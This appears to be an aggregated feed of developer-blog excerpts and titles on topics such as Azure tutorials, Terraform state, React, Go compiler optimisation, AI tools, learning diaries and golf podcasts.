    Extract Text Like Magic: Build an OCR App with Azure AI Vision in Python
    Introduction Optical character recognition (OCR) is a subset of computer vision that deals with reading text in images and documents. The Azure AI Vision Image Analysis service provides an API for reading text, which you’ll explore in this exercise. Open the Azure portal at https://portal.azure.com, and sign in using your Azure credentials. Close any welcome messages or tips that are displayed. Select Create a resource. In the search bar, search for Computer Vision, select Computer Vision, and create the resource with the following settings: Subscription: Your Azure subscription Resource group: Create or select a resource group Region: Choose from East US, West US, France Central, Korea Central, North Europe, Southeast Asia, West Europe, or East Asia* Name: A valid name for your Comp…  ( 7 min )
    Introducing Aerospike Graph Database 3.0: Faster, simpler, and built for the terabyte scale era
    Discover Aerospike Graph 3.0, built for billion-scale speed, ease, and cost-efficiency in fraud, identity, and personalization graph workloads. Author: Ishaan Biswas, Director of Product Management - Graph Today, we’re announcing the release of Aerospike Graph Database 3.0, bringing major improvements across the three dimensions that matter most: developer ease with multi-property and native datetime support, 10x faster ingest performance, and up to 50% better cost efficiency through reduced storage footprint. Built for teams managing the most demanding graph workloads in identity resolution, fraud prevention, and real-time personalization, Aerospike Graph Database 3.0 is our biggest step forward in making high-scale, graph data fast, accessible, and affordable. Aerospike Graph Database 3.…  ( 6 min )
    Bringing Your iOS App to Siri with Apple Intelligence
    iOS 10 (2016): SiriKit introduction - Domain-specific intents for system-defined actions iOS 16 (2022): App Intents framework - Flexible, cross-platform integration beyond Siri iOS 18 (2024): Assistant Schemas with Apple Intelligence - LLM-powered natural language understanding SiriKit: Domain-restricted (Messaging, Payments, etc.) System-provided intent templates Limited to predefined use cases Automatic Siri integration for supported domains Legacy but still optimal for domain-specific features App Intents: Domain-agnostic framework Custom intent definitions Integration across multiple Apple services (Siri, Shortcuts, Spotlight) Required for non-SiriKit domain functionality Foundation for Apple Intelligence integration Use SiriKit when: App functionality aligns with existing domains (me…  ( 6 min )
    How to Clean Up Resources in Azure
    Meaning of Clean up in Azure Warning: Failure to complete this Clean up task could result in unexpected Azure costs. In this article, we will be focusing on: Remove delete locks Login to Microsoft Azure at https://portal.azure.com From the Azure portal home page, in the search box, enter virtual machines. Select virtual machines under services. Select the guided-project-vm virtual machine. If necessary, expand the Settings submenu. Select Locks. Select Delete on the line for the VM-delete-lock. On the pop-up window, select Delete to confirm deletion of the lock. Once the delete lock is removed, you’ll be able to delete the VM. While this was the only delete lock required by the exercise, if you applied other delete locks during the exercise, remove them now. When you’re do…  ( 5 min )
    CSS Blossoming Flowers at Magical Night
    Check out this Pen I made!  ( 4 min )
    Weekly update #2
    Hello everyone! I hope you've been doing well. I also changed the theme of visual studio to white as it felt more comfortable to me than the dark theme. Aside from coding, which has been going slowly tbh, other aspects of my life has been getting better. Recovery has been near 100% since when I updated last time. German has been going nice, learning about sentence structure and pronouns. Even could get my sleep into a relatively orderly schedule LOL Also been revisiting some music I used to listen a while back, which helps me clear my mind and reminisce. Anyhow that's all for this week; stay safe and see you all next time!  ( 4 min )
    The Regret of Learning Too Fast with AI
    he main problem is that I feel I’ve lost the deep understanding and confidence I once had when writing code. Earlier, I could explain every line I wrote because I built everything step by step. But after relying heavily on AI tools like ChatGPT, I noticed that my problem-solving ability and code quality have dropped. Even though I’ve been practicing DSA for over 160 days and building small projects, I still struggle to solve harder problems on my own. I often need hints or help, and it feels like I’m not improving as much as I should. I want to write clean, thoughtful code again — not just code that works. Back in 2021–2022, I was introduced to Java in school, and it completely changed how I looked at things. I quickly fell in love with coding — not just the syntax, but the act of building something. I didn’t know I could Google errors or search for help online, so I figured things out myself or asked my teacher. In those early days, I didn’t know what DSA, Maven, or frameworks were. It was just loops, functions, maybe a bit of OOP, and sometimes writing basic utilities like split() just to understand how things worked. It felt pure. Then came AI. ChatGPT helped me code faster, but over time I realized that while I was solving problems quickly, I wasn’t really learning. I wasn’t owning the process like before. Now, two years later, I’ve done some DSA, built a strong practice streak, and worked on a few dev projects. But when it comes to tougher problems, I still rely on help. It bothers me because I want to grow like I used to. So here’s my question: Or simply could someone help me with a roadmap? What should I focus on next in DSA, general coding skills, or even embedded development (which I’ve recently started exploring)? I want to get better, but I don’t know where or how to start rebuilding properly.  ( 5 min )
    Domine os livros de programação usando o NotebookLM do Google
    Ler livros técnicos é difícil. Ler livros técnicos grandes, tipo os da O’Reilly Media? Aí exige paciência e fôlego pra mergulhar na leitura imersiva. Uma real dificuldade da atualidade, hábitos como multitarefas e uso excessivo de redes sociais fragmentam nosso foco e inviabilizam o pensamento profundo necessário para a leitura imersiva e prolongada (ECONOMIC TIMES, 2025).  O Google tem uma ferramenta que mudou minha vida de leitora-dev — o NotebookLM  Se você está acompanhando minha série sobre estudar com IA, considere este post um capítulo à parte. O NotebookLM virou meu aliado oficial pra enfrentar conteúdo denso, tipo aqueles calhamaços de 800 páginas que a gente adora começar e nunca terminar. Já ouviu aquela metáfora: “Como se come uma baleia? Um pedaço de cada vez.” Com o NotebookL…  ( 6 min )
    I made a tool which turns static SVG's into animations!
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    🧠 Understanding the Difference Between IEnumerable and IQueryable in C#
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    Automate Your Job Hunt 🚀 with n8n 🤖
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    The $170B Sprint: What Anthropic’s Valuation Tells Us About the New AI Game
    Remember when the AI conversation was mostly about research papers, benchmark scores, and open-source repos? That era's over. We’re now deep in a phase where GPU access, sovereign capital, and boardroom diplomacy are as critical as model architecture. Anthropic’s rumored $170B valuation isn’t just a funding milestone, it’s a symptom of a much bigger shift. The AI game has moved into a new league entirely. Not just a technological arms race, but a geopolitical, capital-intensive, power-consolidating sprint that’s reshaping what it means to “build in AI.” So let’s unpack what’s really going on, and why it matters if you're a technical founder, indie builder, or anyone trying to commercialize AI in 2025. Anthropic was spun out of OpenAI in 2021, waving the flag of AI safety. That mission ha…  ( 6 min )
    How to Manage tags and locks on VMs in Azure
    Adding tags to resources is a quick way to be able to group and organize resources. Tags can be added at different levels, giving you the ability to organize and group resources at a level that makes sense for you. By the end of this exercise, you will have hands-on experience in: Adding and managing tags for resource organization. Applying resource locks to prevent accidental deletions. Enhancing resource governance and monitoring in Azure. Let’s get started by logging into the Azure portal and applying these configurations. You’ll start by adding a pair of tags to the virtual machine. One tag will be to identify the purpose of the virtual machine and the other will be to indicate the department the machine supports. Login to Microsoft Azure at https://portal.azure.com From the Azure …  ( 5 min )
    Burned Out, But Break Coming #23
    Servus and welcome back to Day 23 of building my CRM – and honestly, I’m completely exhausted today. I’ve been working all day at my main job, and by now I’m just… done. No coding tonight. No big updates. Just a quick post to stay consistent. The good news: in two days, I’ll have a three-day break – perfect to make real progress on the CRM again. Looking forward to pushing hard then. Sometimes, just staying committed is enough for the day. Thanks for sticking around. Talk soon – hopefully with more energy! Jonathan (0xj0n1)  ( 4 min )
    Project Idea - Diagnify
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    🧑‍💻 Being a CS Student in 2025 Feels Like Living in the Future (But No One Teaches You This Stuff)
    👨‍💻 Being a CS Student in 2025 Feels Like Time Travel I’m a Bachelor’s student in Computer Science, and honestly… it feels like I time-traveled. AI writes code. Startups build apps with zero backend. People wear headsets and live in other realities. My laptop has a Neural Engine. Oh, and Quantum Computing exists — casually. But here’s the thing no one tells you: feels like the future, studying CS in 2025 is still confusing, messy, and overwhelming — and that’s okay. As students, we’re trying to learn the fundamentals — algorithms, data structures, object-oriented design — while the tech world keeps launching: Generative AI LangChain Edge Computing RAG (Retrieval-Augmented Generation) Web3 (still not dead?) x86 vs ARM on a Mac (why tho?) A new JavaScript framework every Thursday Let’s be honest — no curriculum can keep up with that. Here’s what I wish someone told me earlier: You don’t need to master everything. there. You’re allowed to feel behind. Projects > theory. Use AI, but don’t depend on it. support your thinking, not replace it. Be curious, not perfect. 🚀 My Stack Right Now (As a 2025 CS Student) Here’s what I’m currently exploring: 🧠 Machine Learning — building a tiny recommendation system using Python & scikit-learn 🎨 Frontend Fun — experimenting with React + Tailwind ⚙️ DevOps Basics — Docker still makes my brain hurt, but I’m getting there 💬 Prompt Engineering — learning how to talk to AI effectively Being a CS student in 2025 isn’t about knowing everything. It’s about staying open, being okay with the unknown, and having the guts to keep learning anyway. If you’re feeling lost in the tech chaos, just remember: You’re already doing more than you think. Keep going. 🙌 What’s one thing you’re learning right now that your CS degree didn’t cover? Drop it in the comments 👇 Let’s make this the guide we all wish we had.  ( 5 min )
    Day 3: When You Finally Kick Off Procrastination and Make the Day Count
    Started my day at 10 AM not the proudest start, but definitely better than letting the whole morning slip away. It wasn’t a day worth bragging about in terms of productivity, but you know what? TOMORROW la!  ( 4 min )
    Most important
    I Automated My Entire Dev Workflow with AI (You Won't Believe How Easy It Is) Shayan ・ Jul 28 #webdev #programming #ai #javascript  ( 3 min )
    10 Hidden Mistakes That Slow Down Your Website
    A slow website is one of the fastest ways to lose customers. People today expect websites to load in just a few seconds, and if yours doesn’t, they’ll close the tab and move on. Search engines like Google also use page speed as a ranking factor. Most business owners think their site is fine because it “looks good”, but behind the scenes, there are hidden issues that silently slow everything down. In this article, we will look at 10 common mistakes that make your website slow and how to fix them. High-quality images are great for design, but uploading massive files without compression is one of the main reasons a website becomes slow. A single 3 MB image can take several seconds to load. Multiple large images cause heavy pages that frustrate users on mobile networks. Use tools like TinyPNG,…  ( 7 min )
    Agent Development Kit: Making it easy to build multi-agent applications
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    Injecting Environment Variables in Webpack Projects
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. When you're building frontend apps, you often need different configs for development, staging, or production—like API URLs, feature flags, or version info. Hardcoding them is a mistake. The better way is to inject environment variables into your build using Webpack. Here’s how to do that properly. .env File Create a .env file in your project root: API_URL=https://api.example.com FEATURE_FLAG=true VERSION=1.4.2 dotenv-webpack (Simple and Popular) This plugin reads your .env file and makes the variables available in your frontend …  ( 5 min )
    10 DevOps Tasks I’ve Stopped Doing Manually (Kudos to 'This' CLI Agent)
    I’m always on the lookout for tools that let me and my team stay in the terminal and cut down on context-switching. That’s why the ForgeCode CLI coding agent (often just called “Forge”) has become a game-changer for my team. It’s an AI-powered assistant that lives in the shell and helps automate everything from CI/CD scripting to debugging and deployment. Forge integrates seamlessly with my CLI tools and even lets me mix and match models or use self-hosted AI (so enterprise teams get “complete control” over their data). In this post I’ll walk through 10 specific DevOps workflows I’ve sped up by asking Forge to do the grunt work. Let’s dive in and see what this AI shell can do! Rather than manually writing complex CI/CD YAML or pipeline scripts, I simply describe what I need and let Forge…  ( 9 min )
    Hey Dev Community 👋 🚀 LaraCopilot is live on Product Hunt! Your AI Laravel engineer — turn plain English into full-stack MVPs. Show some love and upvote our launch ❤️ 👉 https://www.producthunt.com/products/laracopilot
    A post by Avinash Vagh  ( 4 min )
    Intorducing TracPad - A Smart Python Text Editor That Tracks Your Input
    What is TracePad? TracePad is a lightweight Python-based text editor built using tkinter that not only lets you write and edit text but also tracks the origin of each input - Whether it was typed manually or pasted. Manually typed text with green Pasted text with red This behavior is dynamically shown only on hover, not permanently, keeping you workspace clean but informative. It's designed to help writers, developers or researchers understand how content was created - useful for code auditing, plagiarism checking or just curious minds. HOW IT WORKS(Under The Hood) Tkinter powers the UI. Every keystroke and paste action is tracked. On hover, the background color temporarily shows the origin: Green: manually typed Red: pasted 4 All of this is done with minimal performance overhead TRY IT YOURSELF https://github.com/ZeroClick9039/TracePad.git  ( 4 min )
    Offline Messaging Reinvented with Bitchat
    In July 2025, Jack Dorsey's Bitchat white paper introduces a decentralized peer-to-peer messaging app operating via Bluetooth without internet dependency. What started as his weekend project to learn about "bluetooth mesh networks, relays and store and forward models, message encryption models, and a few other things" has evolved into a compelling proof-of-concept that could fundamentally change how we think about digital communication. Bitchat is a decentralized peer-to-peer messaging app that works over Bluetooth mesh networks. No internet required, no servers, no phone numbers. It's designed as "the side-groupchat" for seamless offline communication. Unlike traditional messaging apps that depend on centralized infrastructure, bitchat creates ad-hoc communication networks using only the …  ( 8 min )
    How to sell open source technology to the government
    A Billion Dollar Problem As governments legalize cannabis, they create billion-dollar industries. A trade-off for this massive economic value-add is the need for regulatory tracking technology. This technology is typically dominated by large, proprietary players. In commercial cannabis, competitors come from pharmaceuticals and private equity. Governments typically get access to this technology through the procurement bid process, where the budget of these firms shines through. However, a powerful alternative exists for savvy entrepreneurs: open source software. This essay aims to provide a roadmap for how you can leverage open source principles to successfully bid and win these contracts. The OpenTHC team’s experience is in the cannabis industry. We believe our work and products can s…  ( 14 min )
    How to Manage Tags and Locks in Azure
    Meaning of Tags in Azure: Meaning of Locks in Azure; CanNotDelete: This lock allows you to view and edit resources, but prevents deletion. ReadOnly: This lock allows you to only view resources, without making any changes or deletions. How to Manage Tags and Locks in Azure; In this article, we will be focusing on: Manage tags and locks on VM Add tags to a virtual machine Login to Microsoft Azure at https://portal.azure.com From the Azure portal home page, in the search box, enter virtual machines. Select virtual machines under services. Select the guided-project-vm virtual machine. From the menu pane, select Tags. On one line for Name enter Department and for Value enter Customer Service On the next line, for Name enter Purpose and for Value enter FTP Server. Select Apply. While you’re working on the virtual machine, it’s a great time to add a resource lock. Add a resource lock to a VM If necessary, expand the Settings submenu. Select Locks. Select + Add. For the name, enter VM-delete-lock. For the Lock type, select Delete. You may enter a note to help remind you why you created the lock. Select OK. That’s it. Now the VM is protected from deletion and has tags assigned to help track use. Time to move onto the network. Select Home to return to the Azure portal home page. Add tags to network resources From the Azure portal home page, in the search box, enter virtual networks. Select virtual networks under services. Select the guided-project-vnet network. From the menu pane, select Tags For the Name select Department. For the Value enter IT. Select Apply. Now both the VNet and VM are organized. Congratulations! You’ve completed this exercise.  ( 5 min )
    How Can You Meet New People Online for Free? Here’s a 5-Step Guide That Actually Works
    Meeting new people online doesn't need to involve awkward apps, fake profiles, or endless swiping. If you're looking for genuine connections without spending a cent, there are smarter ways to do it. Here’s a step-by-step guide to help you start meeting new people online — for free — in a way that actually feels natural. Most social apps today ask for everything — your phone number, email, photos, even your interests. And after all that, you still only get limited access unless you pay. Instead, try platforms that don’t require sign-ups or personal data. Look for services that let you start talking instantly, without creating a digital résumé. What to look for: No registration required Works in your browser No forced logins with Google or Facebook One of the most underrated ways to meet peo…  ( 4 min )
    How to Integrate Smart Thermostats with Home Automation Systems
    1. Introduction: Why Smart Thermostat Integration Matters Smart thermostats have transformed how homeowners manage indoor climate, offering convenience, energy savings, and tailored comfort. For developers, integrating these devices with home automation platforms opens a realm of possibilities—enabling customized control, advanced automation, and data-driven decision-making. This guide is designed to equip developers with practical knowledge to connect, control, and optimize smart thermostats within diverse home automation ecosystems. Smart thermostats communicate via several protocols, each with unique advantages and compatibility constraints. The most common are: Zigbee: A low-power, mesh networking protocol widely used in home automation for reliable, local device communication. Z-Wav…  ( 6 min )
    Building a Multiplayer Game with Convex Over a Weekend
    This article originally appeared on my website. I first heard about Convex through t3.chat months ago, and ever since then, it's been buried deep in my "someday" learning list. When I finally had a weekend to nerd out, I decided to give it a go. I already had an app idea in mind that seemed like a perfect fit for Convex: a real-time, multiplayer browser clicker game. A small homage to eRepublik, which I loved playing as a kid. In this article, I will share my experience building a multiplayer game with Convex over a weekend, walking you through the steps I took, the challenges I faced, and the solutions I found. During which we will cover the basics of Convex. Ah yes, the Swedish Empire where the sun never sets This was the end result: GeoWar.io, a game based on world conquest. The rules …  ( 9 min )
    Why react component can return single jsx?
    In React, every component’s render (or functional component return) must produce one—and only one—root element. Here’s why and how you work around it: JSX → React.createElement When you write: return ( in your HTML. React gives you fragments for zero‑DOM‑node wrappers: return ( ); This compiles down to one React.Fragment container that doesn’t render to a real DOM element, but still satisfies the “one root” rule. Returning Arrays (with keys) As of React 16+, you can also return an array of elements if you need multiple roots: return [ , , ]; Each child must have a unique key, but under the hood React still wraps them in an invisible container for reconciliation. Prefer Fragments (…) for grouping siblings without extra markup. Use keyed arrays only when you need to render siblings at the top level and you can guarantee stable keys. Keep your component tree shallow—lift layout wrappers into higher‑order or layout components so individual components stay focused and easy to update. By enforcing a single root, React keeps its virtual DOM consistent, your markup valid, and updates predictable—while still giving you flexible ways (fragments or keyed arrays) to return multiple children when needed.  ( 4 min )
    Once Upon a Command Line: The Magical nvm-manager Adventure
    In a kingdom far within your terminal, a young developer named Dot entered the enchanted forest of Node.js versions… nvm-manager Dot: npm install -g nvm-manager Terminal Sage: ✨ “The nvm-manager has arrived, ready to bring peace to your scattered Node realms!” Dot: nvm-manager list-all Terminal Sage: 🦄 “Gather round, noble versions and valiant packages! Parade before Dot and show thy presence!” (A list of Node versions and their loyal global packages march proudly across the screen.) Dot (facing the daunting crossroads of versions): nvm-manager migrate nvm-manager Herald: 🧙♂️ “Fret not, dear Dot! I shall escort your treasured packages safely from v14.17.0 to v18.19.0. Let the migration begin!” Dot (hearing ominous whispers from phantom Node versions): nvm-manager fix-failed Terminal Sage (brandishing a broom): 👻 “Begone, you haunted remnants! By order of Dot, you shall clutter this land no more!” Dot, feeling spring-cleaning energy: nvm-manager cleanup nvm-manager Guardian: 🧹 “Let us clear the old and cherish what matters. Only the finest Node remains in your kingdom now.” Terminal Sage: 🌟 “Remember, O developer, whenever your Node realms grow unruly, invoke nvm-manager. With a sprinkle of automation, a dash of interactivity, and your command, your workflow will live happily ever after!” And so, Dot coded on, free from version woes, their Node kingdom flourishing with every passing project. The end? Only until the next package update! Let the magic of the CLI keep you smiling on your Node.js adventures!  ( 4 min )
    How Rap Has Changed Over Time?
    What Was Rap Like in the Beginning? Rap started as something raw and communal. In the late ’70s and early ’80s, DJs in cities like New York would set up turntables at block parties and extend instrumental breaks from funk or soul tracks. That gave MCs a chance to hype up the crowd with freestyle rhymes, shoutouts, and playful boasts. It was less about polished recordings and more about energy, rhythm, and being present in the moment. Early rap wasn’t made in big studios it was built on creativity and community. Drum breaks, basslines, and clever wordplay were enough to move a crowd. Storytelling played a huge role too. MCs talked about real life in their neighborhoods: the good, the bad, and the everyday. Tracks were often passed around on mixtapes or sold from the trunk of a car. Rap sp…  ( 5 min )
    CDNs Explained: Push vs Pull and How They Speed Up Your Website
    Have you ever noticed how some websites load almost instantly, no matter where you are in the world? A big reason behind that is something called a Content Delivery Network (CDN). A CDN (Content Delivery Network) is a globally distributed network of servers designed to deliver content to users as quickly and reliably as possible. Think of it as a network of “helper” servers spread around the world, all working to bring content closer to users. Instead of making every visitor request files directly from your main server (which might be halfway across the planet), CDNs serve the files from the nearest server in their network. Typically, CDNs are used to serve static files like: HTML, CSS, JavaScript Images and fonts Videos and other media Some advanced CDNs, like Amazon CloudFront, even supp…  ( 4 min )
    Fetch Wrapper for Next.js: A Deep Dive into Best Practices
    Picture this: You're building your dream Next.js application, and you're happily making API calls with the native fetch function. Everything seems great until... your app goes to production. Suddenly, you're drowning in repetitive error handling code, wrestling with authentication tokens scattered across components, and pulling your hair out trying to debug why some requests work on the server but fail on the client. Sound familiar? You're not alone. While Next.js extends fetch with powerful caching and revalidation features, the core challenge remains: building a robust, production-ready API layer requires much more than raw fetch calls. Today, we're going to craft a production-ready fetch wrapper that will transform your API layer from a source of headaches into a joy to work with. We'll…  ( 11 min )
    nvm-manager: The Node.js Version Manager That Exists Because Someone Wanted It
    Managing multiple Node.js versions is a common challenge in modern development. Tools like nvm and nvm-windows have done an excellent job maintaining their core mission: simple, reliable version switching. Their minimal, focused approach has served the community well for years. However, as development workflows evolved, some developers found themselves wanting additional automation and management features. That desire led to the creation of nvm-manager—a tool born from the community's expressed needs for enhanced functionality. While respecting the solid foundations of nvm and nvm-windows, nvm-manager provides a consistent interface across operating systems, bridging the natural differences between these tools. For developers juggling multiple projects with different Node versions, nvm-man…  ( 4 min )
    The Complete Guide to Scaling with MLOps
    Every business wants to grow. Machine learning opens the door to faster insights, better predictions, and smart decisions. But as your company grows, so do your AI needs. Managing models, data, and workflows becomes harder. That’s where MLOps comes in. Many companies now use mlops as a service to scale their machine learning efforts. It brings speed, structure, and automation. With the right system in place, teams move fast without breaking things. This guide walks you through everything you need to scale your AI projects using MLOps. MLOps stands for Machine Learning Operations. It brings together development and operations to support machine learning across its full life cycle. From data cleaning to model training, deployment, and monitoring, MLOps connects each step. Without it, teams o…  ( 5 min )
    How To Deploy a WordPress Blog with AWS
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    For a long-long time, I felt broken for not being productive in the morning. I’d open my laptop at 9 AM, stare at my editor, read the same line of code five times, and feel guilty that I wasn’t “in flow” while others were already pushing commits. But over time (and after a lot of failed mornings) I stopped fighting it. 🧠 Everyone Has a Different Energy Curve For me: 9-12 AM = shallow work, async catch-up, meetings 12-1 PM = rest + light planning 2-6 PM = focused coding, debugging, deep logic Post-7 PM = occasionally creative bursts (but never reliable) 🧩 What Changed When I Stopped Fighting My Clock I protected my flow window. No meetings after 2 PM unless something’s on fire. I stopped comparing myself to 9-to-5 robots. Productivity isn’t a race, it’s rhythm. I worked better with async-first teams. Slack over stand-ups. Docs over interruptions. 📈 Result? More Output, Less Burnout Build your work around your energy, not the other way around. 🚀 Looking for developers who understand how real work gets done? Whether you need async talent, project-based help, or deep problem solvers - we can match you with the right fit. Let’s talk here!  ( 4 min )
    The compare() method in Java
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    Power Up Your Go Apps: Using PostgreSQL as a Job Queue with River
    Hi there! I'm Shrijith Venkatrama, founder of Hexmos. Right now, I’m building LiveAPI, a first of its kind tool for helping you automatically index API endpoints across all your repositories. LiveAPI helps you discover, understand and use APIs in large tech infrastructures with ease. Job queues are a game-changer for handling background tasks in Go applications. If you're building a web app and need to process tasks like sending emails, generating reports, or syncing data without slowing down your API, a job queue is your friend. Enter River, a Go library that turns your PostgreSQL database into a robust job queue. No need for Redis or RabbitMQ—your existing Postgres can handle it all. In this post, we'll walk through setting up River with PostgreSQL, creating workers, inserting jobs, and …  ( 9 min )
    Test for Attachment Style: Are You Anxious, Avoidant, Disorganized, or Secure?
    `The way someone connects in close relationships is often shaped by early emotional experiences and subconscious patterns that carry into adulthood. A test for attachment style can shine a light on those patterns, often hidden under behaviors that look like trust issues, clinginess, withdrawal, or the fear of losing someone. This kind of test doesn’t just check a few boxes; it reveals deep emotional wiring. Attachment theory breaks down the core styles into four types: secure, anxious, avoidant, and disorganized. Each of these carries a blueprint of how someone gives and receives love, manages emotional needs, and reacts to conflict. The value of taking a test for attachment style isn’t in labeling, but in clarifying the emotional habits that influence intimacy, communication, and self-wo…  ( 7 min )
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    After the Hack: Launching the Next Chapter 🚀
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    Unleashing Creativity with Bolt: My Hackathon Technical Odyssey 🚀
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    Implementing OAuth for MCP servers: a developer's guide
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    Python Programming Fundamentals: A Complete Beginner's Guide (Part 3)
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    Microsoft Fabric RTI MCP Server
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    🔥 1BRC in Node.js: From 12 Minutes to 35 Seconds
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    Why I’m Learning Web3
    Hey, I’m a senior frontend developer from the Web2 world, currently transitioning into Web3. Over the past years, I’ve worked extensively with technologies like React, Vue, Next.js, Node.js etc. But lately, I’ve felt a strong pull toward something more fundamental — something that reshapes how the internet works. Because I believe Web3 unlocks unprecedented potential. It offers a new paradigm of ownership, identity, transparency, and value coordination. The idea that users can control their own data, digital assets, and reputation — without relying on centralized platforms — is powerful and deeply inspiring. Web3 isn’t just a trend. It’s a movement that could change the relationship between people and the internet. Right now, I’m a total beginner in Web3. I haven’t written smart contracts yet, and I’m still wrapping my head around how Ethereum, wallets, and protocols work. Here’s what I plan to do: 📚 Take online courses (Ethereum basics, Solidity, etc.) 🧩 Play with challenges like Ethernaut and CryptoZombies 💡 Analyze real-world Web3 projects and open-source codebases 🧪 Build small, focused projects to apply what I learn ✍️ Write regularly about what I’m learning — from technical breakdowns to mental models I’ll use this blog to document my journey publicly. I believe writing is one of the best ways to reinforce learning — and maybe, help someone else along the way. We can exchange ideas, share pain points in the comment area. This is Block #0. Let’s keep loading...  ( 3 min )
    Is AI Vibe Coding Destroying Your Future?
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    How to Control a Robot Vacuum Cleaner from Your Python App
    Controlling a robot vacuum cleaner from your own app is not just an exciting tech project—it’s a practical way to automate cleanliness and integrate smart-home routines into your everyday life. Python makes it simple to create automations, interact with APIs, and even build full dashboards that keep your home spotless. Whether you're building a cleaning schedule or reacting to real-time changes in your environment, a robot vacuum connected to your Python code can transform how you think about home hygiene. Most robot vacuums today offer connectivity through Wi-Fi, and many use open or semi-documented APIs. Some work with MQTT, while others communicate using HTTP requests. Before you code, you need to identify how your device communicates. Here's a simplified version of a robot vacuum that …  ( 5 min )
    AI in Analytics: It’s Not Just for the Big Guys Anymore
    There’s a quiet shift happening in how companies look at their data. And no, it’s not just about dashboards or pretty graphs anymore. It’s about what the data can tell you without you even asking. That’s where AI in analytics comes in—and if you’re not paying attention, you’re already behind. We’re moving from asking, “What happened?” to “What’s about to happen?” and even “What should I do about it?” From Static Reports to Living Insights AI flips that on its head. Now, instead of manually slicing and dicing data, tools powered by AI can: Spot trends you’d miss Flag anomalies before they turn into problems Predict future outcomes based on past behavior And it’s not just surface-level stuff. AI can go deep—connecting things that don’t seem related at first glance. Like how a spike in custom…  ( 4 min )
    Generating Subtotals in MongoDB Aggregations
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    Scrapify.ai
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    Why Your Music Won’t Autoplay in Chrome (And How to Fix It Without Crying)
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    Mastering JavaScript Control Flow: If-Else and Switch Explained for Beginners
    Introduction Control flow is a fundamental concept in JavaScript that determines the order in which code is executed. As a beginner, understanding how JavaScript makes decisions using control structures is essential. We’ll cover how to apply if, else if, else, and switch statements to control the flow of your program. These control tools let your application make decisions based on different scenarios. The 'if' statement The 'else if' and 'else' blocks The 'switch' statement The if statement is used to execute a block of code only if a specified condition is true. Syntax: if (condition) { // code to run if the condition is true } Real-Life Example: let age = 18; if (age >= 18) { console.log("You can now attend a party"); } Explanation: This message is triggered only if the value of a…  ( 4 min )
    Diário Dev #4 – Arquitetura full stack serverless com React, .NET 8 e AWS
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    Managing Terraform State File: Local vs Remote (S3 + DynamoDB)
    💡 Introduction Welcome to the world of Cloud and Infrastructure as Code (IaC)! If you're building infrastructure with Terraform — one of the most popular tools in the DevOps ecosystem — you’ve probably come across the mysterious terraform.tfstatefile. This small yet crucial file is the backbone of how Terraform tracks infrastructure resources. In this blog, we’ll dive into: What the terraform.tfstate file is Why relying on a local state file can cause issues And how to properly store Terraform state remotely using AWS S3 and DynamoDB Whether you're a student exploring Terraform or a cloud enthusiast looking to follow best practices, this guide will help you understand how state management works and how to secure and scale your infrastructure properly. So without further ado, let’…  ( 9 min )
    No Laying Up Podcast: Lydia Ko | NLU Pod, Ep 1045
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    No Laying Up Podcast: The 2025 Major Season Quiz Show | NLU Pod, Ep 1046
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    No Laying Up Podcast: 3M, Lottie Woad, Happy Gilmore 2 Review | NLU Pod, Ep 1046
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    Golf.com: Overnight at Bethpage Black: Behind the scenes at golf's most sought-after muni
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    Peter Finch Golf: My Lesson With THE WORLD'S No1 PUTTING COACH | Phil Kenyon
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    Danny Maude: This Is How I Build An Effortless Driver Swing
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    Rick Shiels Golf: How To Hit More Greens (Lower you Golf Scores)
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    Outlier Detection Made Simple: 3 Effective Methods Every Data Scientist Should Know
    If you're working with real-world data, you're going to run into outliers. They're the weird values that sit miles away from the rest. Maybe a customer spent $10,000 when the average order is $50. Or a sensor glitched and logged -9999.  These values distort your stats and make your experiment's conclusion unreliable. And because so many decisions ride on means (A/B tests, pricing, forecasting), ignoring outliers can seriously mess with your results.  That's the danger. Outliers don't just skew your charts. They throw off everything: confidence intervals, p-values, whether you ship a feature or kill it. If your decisions rely on the mean, you'd better know what's hiding in the tails. The good news? You don't need advanced stats to fix outliers. A few clean line of code and some common sense…  ( 6 min )
    Rick Shiels Golf: I Play my Home Golf Course with a Tour Pro!
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    Did anyone else get this email
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    OLAP Systems Online Analytical Processing (OLAP) refers to database systems designed primarily for complex data analytics and reporting. These systems enable advanced querying by analysts to identify patterns and forecast trends, which are critical for data-driven decision-making. OLAP leverages multidimensional data, enabling storage of various data types across different periods. It uses an OLAP cube, which aggregates data by attributes such as region or category. This allows analysts to drill down into more granular insights. For instance, if data is stored by region, analysts can slice it down to the state or city level to evaluate product performance in specific areas. A common OLAP system is a data warehouse, a centralized repository that aggregates data from multiple sources. Thes…  ( 4 min )
    Otimizando a Entrega de Projetos de TI com Microsoft Copilot + Jira + Power BI
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    🦀 Day 18 of #100DaysOfRust: Deep Dive into Traits in Rust
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    Cloudflare Pages + Deno Deploy Full-Stack Boilerplate
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    From DevOps to DevSecOps: How Secure Software Development Evolved
    With the ever-changing digital environment, the speed of software release is not the only concern. Security is also equally critical. The conventional development pipelines emphasizing quick releases via DevOps are not good enough, but with increasing cyber threats becoming more sophisticated, this speed-over-security approach creates risky holes. So, that's how DevSecOps came about; it's basically development, ops, and security all working together smoothly and constantly. Moving from DevOps to DevSecOps isn't just a fad; it's something companies really need to do if they want to create software that's secure and can handle a lot of growth. In this post, we'll get into how this change makes software releases better, why lots of businesses are going for it, and how following some good rule…  ( 7 min )
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    Supercharge Your Git Workflow with Laravel Commit‑Lint
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    I Built a Telegram Bot That Remembers Everything But Knows Nothing About You
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    If you've ever wondered how the Go compiler makes your code faster and more efficient, you're in the right place! The middle-end phase of the Go compiler is where smart optimizations happen. Before turning your code into machine instructions, Go cleans it up, removes the junk, and makes it run better. Let's break it down! Step 1: IR Construction (a.k.a "Noding") What Happens? After parsing your Go code, the compiler converts it into an Intermediate Representation (IR), a simplified version that is easier to work with. Go’s compiler uses SSA (Static Single Assignment) IR, which means: Every variable is assigned only once. crystal clear for optimization. Example: func add(x int, y int) int { return x + y } Gets transformed into: v1 = x v2 = y v3 = v1 + v2 return v3 This …  ( 4 min )
    Leveraging Assessment Data to Build Smarter Educational Tools
